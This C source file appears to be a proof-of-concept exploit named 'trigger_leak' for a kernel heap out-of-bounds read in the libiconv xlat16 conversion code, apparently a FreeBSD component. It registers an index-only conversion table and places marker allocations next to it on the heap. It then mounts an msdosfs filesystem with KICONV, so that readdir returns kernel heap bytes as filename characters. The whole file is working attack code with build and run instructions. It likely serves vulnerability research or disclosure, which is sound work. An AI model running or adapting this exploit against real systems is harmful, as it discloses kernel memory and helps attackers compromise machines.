/* DF-5746 trigger B — kernel heap OOB read disclosed through readdir()
 *
 * iconv_sysctl_add (sys/libiconv/iconv.c:410) accepts ANY
 * 0 <= ia_datalen <= ICONV_CSMAXDATALEN. iconv_xlat16_open()
 * (sys/libiconv/iconv_xlat16.c:68-78) unconditionally parses the
 * first 0x200 index entries (1024 bytes) and, for every nonzero
 * entry, points d_table[i] at cp_data + 1024 + k*512 WITHOUT
 * checking that the allocation actually contains those bytes.
 *
 * We register the w2u pair ("local":"UTF-16BE") with ia_datalen=1024
 * (index array only, NO data blocks) and mark the index slots for the
 * characters of an LFN filename stored on the image. After mounting
 * with KICONV, every readdir of that file makes the kernel read
 * uint32 values 512..~9200 bytes PAST the end of the 1024-byte
 * M_ICONVDATA allocation (iconv_xlat16_conv:192 code=d_table[c1][c2]),
 * and those bytes are returned to userspace as the converted filename.
 *
 * 16 "marker" pairs are registered right AFTER the victim so the
 * neighbouring heap objects contain a known pattern; if the leaked
 * filename bytes match the marker alphabet, the OOB read into a
 * different kernel allocation is proven.
 *
 * Build: cc -O0 -g -I/usr/src/sys -o trigger_leak trigger_leak.c
 * Run:   ./trigger_leak <suffix> <dev> <mountpoint>
 */
#include "common_kiconv.h"
#include <dirent.h>

#define IDX_BYTES	(0x200 * 8)		/* xlat16 index array = 1024 */
#define BLK_BYTES	(0x80 * 4)		/* one data block  = 512 */

static void
dump_dir(const char *dir)
{
	char buf[32768];
	long base = 0;
	int fd, n;

	fd = open(dir, O_RDONLY);
	if (fd < 0)
		err(1, "open %s", dir);
	for (;;) {
		n = getdirentries(fd, buf, sizeof(buf), &base);
		if (n <= 0)
			break;
		char *p = buf, *end = buf + n;
		while (p < end) {
			struct dirent *d = (struct dirent *)p;
			printf("--- dirent namlen=%d: ", d->d_namlen);
			for (int i = 0; i < d->d_namlen; i++) {
				unsigned char c = (unsigned char)d->d_name[i];
				if (c >= 0x20 && c < 0x7f)
					printf("%c", c);
				else
					printf("\\x%02x", c);
			}
			printf("\n    hex: ");
			for (int i = 0; i < d->d_namlen; i++)
				printf("%02x ",
				    (unsigned char)d->d_name[i]);
			printf("\n");
			p += _DIRENT_DIRSIZ(d);
		}
	}
	close(fd);
}

int
main(int argc, char **argv)
{
	char name[64], from[64];
	uint64_t idx[0x200];
	uint8_t victim[IDX_BYTES];
	uint8_t benign[IDX_BYTES + BLK_BYTES];
	uint8_t marker[IDX_BYTES];
	const char *sfx, *dev, *dir;

	if (argc != 4) {
		fprintf(stderr, "usage: %s <suffix> <dev> <mountpoint>\n",
		    argv[0]);
		return (2);
	}
	sfx = argv[1];
	dev = argv[2];
	dir = argv[3];

	/* ---- 1. victim: index-only table, marked slots, NO data blocks */
	memset(idx, 0, sizeof(idx));
	/* filename on image: "ABCDEFGHIJKLMNOP.k" */
	idx['.'] = 1;			/* 0x2E */
	for (int c = 'A'; c <= 'P'; c++)	/* 0x41..0x50 */
		idx[c] = 1;
	idx['k'] = 1;			/* 0x6B */
	memset(victim, 0, sizeof(victim));
	memcpy(victim, idx, sizeof(idx));

	snprintf(name, sizeof(name), "PWNL%s", sfx);
	if (reg_pair("xlat16", name, "UTF-16BE", victim, IDX_BYTES) < 0)
		errx(1, "victim registration failed");
	printf("[*] victim '%s:UTF-16BE' allocates %d bytes (index only) but "
	    "its index references 18 data blocks => every converted char "
	    "reads %d..%d bytes PAST the allocation\n",
	    name, IDX_BYTES, (int)IDX_BYTES,
	    (int)(IDX_BYTES + 17 * BLK_BYTES));

	/* ---- 2. markers: 1024-byte allocations with known content,
	 *         registered right after the victim (heap neighbours) */
	for (int m = 0; m < 16; m++) {
		for (int off = 0; off < IDX_BYTES; off += 8) {
			snprintf((char *)marker + off, 9, "MK%s!%02d", sfx, m);
			marker[off + 6] = 0xCA; marker[off + 7] = 0xFE;
		}
		snprintf(name, sizeof(name), "MK%s_%02d", sfx, m);
		snprintf(from, sizeof(from), "MRK%s%02d", sfx, m);
		reg_pair("xlat16", name, from, marker, IDX_BYTES);
	}

	/* ---- 3. benign well-formed tables for the other 3 msdosfs pairs */
	memset(benign, 0, sizeof(benign));
	((uint64_t *)benign)[0] = 1;		/* idx[0] -> one zero block */

	snprintf(name, sizeof(name), "PWNL%s", sfx);
	reg_pair("xlat16", "UTF-16BE", name, benign, IDX_BYTES + BLK_BYTES);
	snprintf(from, sizeof(from), "PWND%s", sfx);
	reg_pair("xlat16", from, name, benign, IDX_BYTES + BLK_BYTES);
	reg_pair("xlat16", name, from, benign, IDX_BYTES + BLK_BYTES);

	/* ---- 4. mount and read the directory */
	if (mount_kiconv(dev, dir, name, from) < 0)
		errx(1, "mount failed");
	fflush(stdout);
	dump_dir(dir);
	unmount(dir, 0);
	printf("[+] done\n");
	return (0);
}
